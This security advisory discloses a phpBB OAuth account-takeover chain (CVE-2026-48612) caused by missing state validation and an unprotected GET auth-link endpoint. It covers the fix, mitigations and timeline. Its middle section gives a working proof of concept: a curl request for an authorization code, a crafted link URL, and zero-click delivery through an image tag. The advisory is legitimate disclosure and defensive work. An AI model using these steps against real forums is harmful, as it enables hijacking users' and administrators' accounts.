phpBB authentication bypass: introducing CVE-2026-48611 and CVE-2026-48612

CVE-2026-48612 (PTT-2026-005) is a chained vulnerability in phpBB's OAuth implementation that lets an attacker take over the account of any logged-in user who opens a single attacker-supplied URL.

Two separate defects combine to produce the chain:

→ the OAuth service callers never pass the state parameter to the underlying library, silently bypassing state validation;

→ and the auth-link endpoint exposes a GET branch that triggers the account-link flow with no CSRF protection of any kind.

The attacker gets a valid OAuth authorization code using their own browser, embeds it in a crafted URL, and delivers it to the victim.

When the victim opens the link while logged into phpBB, the server redeems the attacker's code against the victim's authenticated session.

The result is a database row binding the attacker's identity-provider account to the victim's user_id. The attacker then logs in via OAuth from their own browser and lands in the victim's account.

The attacker can serve the link in a forum post, a private message, a phishing email, or inside an embedded image tag - the last method does not require the victim to click anything, only to load a page where the image is present.

The vulnerability was discovered by Dan Stefan Alexandru of the Pentest-Tools.com security research team and reported to phpBB on June 4, 2026.

The fix shipped in phpBB 3.3.17 on June 6, 2026, which added OAuth state validation and CSRF protection to the auth-link flow, and introduced a new purge_oauth_states.php cron task.

All phpBB versions prior to 3.3.17 where $config['auth_method'] is set to 'oauth' and at least one OAuth 2.0 provider (Google, Facebook, or Bitly) is configured with valid client credentials. Twitter (OAuth 1.0a) is not affected.

Default phpBB installations use auth_method = 'db' and are not exposed to PTT-2026-005 (CVE-2026-48612). This vulnerability only affects boards where an administrator has explicitly enabled OAuth authentication.

Two independent defects exist in the OAuth implementation. Combined, they allow an attacker to bind their identity-provider account to a victim's phpBB account without the victim's knowledge or consent.

Defect 1: Missing OAuth state validation.

The state parameter in the OAuth 2.0 flow exists to tie an authorization request to the browser session that initiated it, preventing an attacker from injecting a foreign authorization code. phpBB's OAuth service callers never pass the state parameter to the underlying OAuth library. 

As a result, state validation is silently bypassed - the library generates no state, so it accepts any response, including one initiated by a different browser.

Defect 2: Missing CSRF protection on the auth-link endpoint.

The UCP auth-link endpoint (i=ucp_auth_link&mode=auth_link) exposes a GET branch that triggers the OAuth account-link flow. Line 92 of ucp_auth_link.php contains no check_form_key() call and no CSRF validation of any kind. Any GET request to this endpoint from an authenticated session initiates the link flow immediately.

The attack sequence:

1. The attacker requests an OAuth authorization code from the configured provider using their own browser. The code is bound to the configured client_id and redirect_uri, but not to any session cookie or IP address - it is transferable.

2. The attacker embeds the captured code into the auth-link endpoint URL and delivers it to the victim via any channel (forum post, message, phishing email, embedded image).

3. The victim, while authenticated to phpBB, opens the URL. ucp_auth_link.php processes the request without CSRF validation, calls requestAccessToken() with the attacker's code, and - because state validation is bypassed - the provider accepts the exchange and returns an access token for the attacker's identity.

4. phpBB inserts a row into phpbb_oauth_accounts with user_id = <victim's user_id> (from the victim's authenticated session) and oauth_provider_id = <attacker's identity>.

5. The attacker opens phpBB in an incognito window, logs in via OAuth with their own credentials, and is silently mapped to the victim's user_id. The attacker now has full access to the victim's account.

Step 1 - Attacker gets an authorization code:

curl -s -D - "http://<oauth-provider>/authorize?

    client_id=<client_id>

    &redirect_uri=http://<target>/ucp.php

    &response_type=code

    &scope=openid

    &state=fakestate"

# Response:

# location: http://<target>/ucp.php?code=rtEZQAPfI_fqz-f5xo...&state=fakestate

Step 2 - Attacker crafts the malicious URL:

http://<target>/ucp.php?i=ucp_auth_link&mode=auth_link

    &link=1

    &oauth_service=google

    &code=<CAPTURED_CODE>

Step 3 - Victim clicks the link while logged into phpBB. Server-side result:

-- phpbb_oauth_accounts after attack:

user_id | provider | oauth_provider_id

2       | google   | ATTACKER_OAUTH_ID_111111

-- user_id=2 is the admin account.

-- The attacker's OAuth identity is now bound to it.

Step 4 - Attacker logs in via OAuth from an incognito window:

http://<target>/ucp.php?mode=login&login=external&oauth_service=google

# phpBB resolves (provider=google, oauth_provider_id=ATTACKER_OAUTH_ID_111111)

# to user_id=2 and creates an authenticated session as the admin.

A successful attack gives the attacker a permanent OAuth login credential for the victim's phpBB account. The binding persists in phpbb_oauth_accounts until an administrator removes it or the victim notices and revokes it.

For regular user accounts, the attacker gains access to private messages, any content visible to that user, and the ability to post or take moderation actions under the victim's identity. For administrator accounts, this extends to full forum management - user data, private boards, configuration, and the ability to moderate or delete any content.

phpBB's Administration Control Panel requires password re-authentication and does not offer OAuth login, so ACP-level functions are not reachable via this chain. Password and email changes also require the current password.

The attack can be delivered without any user clicking - by embedding the malicious URL inside an <img src="..."> tag in a forum post or private message. A victim's browser loads the image, making the GET request while the victim is authenticated, and the account link is created silently.

Affected deployments include any phpBB board where an administrator has enabled OAuth authentication with Google, Facebook, or Bitly as the provider.

Patch. Upgrade to phpBB 3.3.17 or later. The fix adds OAuth state parameter validation, CSRF protection to the auth-link endpoint, and a new purge_oauth_states.php cron task for cleanup. This is the only complete fix.

If you cannot patch immediately and your board has OAuth enabled, disable OAuth authentication in the administration panel (ACP > General > Authentication) and switch to auth_method=db until the upgrade is complete. This removes the attack surface entirely.

After patching. Audit phpbb_oauth_accounts for unexpected entries - rows where the oauth_provider_id does not match an account the user intentionally linked. Remove any suspicious entries.

May 13, 2026: Vulnerability discovered by Dan Stefan Alexandru, Pentest-Tools.com security research team

June 4, 2026: Reported to phpBB security team by Dan Stefan Alexandru

June 6, 2026: phpBB 3.3.17 released

June 8, 2026: Public disclosure - this page published

July 4, 2026: Proof of concept details disclosed - updated this page

→ NVD CVE details
→ phpBB 3.3.17 release announcement
→ CWE-352 — Cross-Site Request Forgery
→ GitHub Advisory GHSA-7gm6-w7mx-58cr (related)
→ phpBB Wikipedia page feat